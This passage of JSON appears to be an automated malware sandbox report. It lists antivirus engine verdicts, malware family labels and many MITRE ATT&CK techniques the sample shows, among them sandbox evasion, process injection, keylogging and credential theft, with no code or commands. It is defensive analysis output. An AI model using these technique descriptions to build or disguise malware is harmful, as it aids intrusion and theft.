Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"ApplicUnwnt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"ApplicUnwnt","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"TR/W64.DangerousSig","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Contains ability to create named pipes for inter-process communication (IPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"suspicious","value":"Contains ability to obtains specified information about the security of a file or directory"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","identifiers":[{"type":"suspicious","value":"Contains ability to adjust token privileges"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a valid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API used to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure 